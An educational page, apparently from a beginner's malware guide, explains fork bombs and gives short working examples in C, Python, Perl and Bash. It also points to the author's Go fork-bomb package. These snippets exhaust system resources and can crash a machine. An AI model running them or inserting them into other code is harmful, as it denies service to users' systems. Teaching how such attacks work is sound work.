Fork Bombs

Ok, so beginning with some basic malware... The simplest of all is a Fork Bomb. Wikipedia defines them as:

A fork bomb (also called rabbit virus or wabbit) is a denial-of-service attackarrow-up-right wherein a processarrow-up-right continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvationarrow-up-right.

Every process that runs on your computer requires some "computing power", and every computer has a limited amount of said computing power. So, if we make a program that consumes all of this computing power, we can essentially render the system (either temporarily or permanently) unusable. Now, there are a lot of ways to do this. But the core concept is that of forking a process. Which means that the process creates a copy of itself (often called the child).

Here are some examples of fork bombs implemented in different mediums/languages:

A fork bomb written in C:

#include <unistd.h>

int main() { 
    while(1) { fork(); }
}

A fork bomb written in python:

import os; 
while 1:
    os.fork()

A fork bomb written in perl:

fork while fork

A fork bomb written in bash:

!/bin/bash
./$0|./$0&     # $0 is the name of the shell script itself

In each example, the core concept is the same, the parent process creates a child process indefinitely.

If you wish to see an... overengineered example of a fork bomb, you can have a look at a package I wrote called GFB:

Docs: https://pkg.go.dev/github.com/ARaChn3/gfbarrow-up-right

NOTE: The GFB package actually makes use of yet another package I wrote for a logic bomb, so if you wanna look into it, please do consider first reading up on Logical Bombs.

Last updated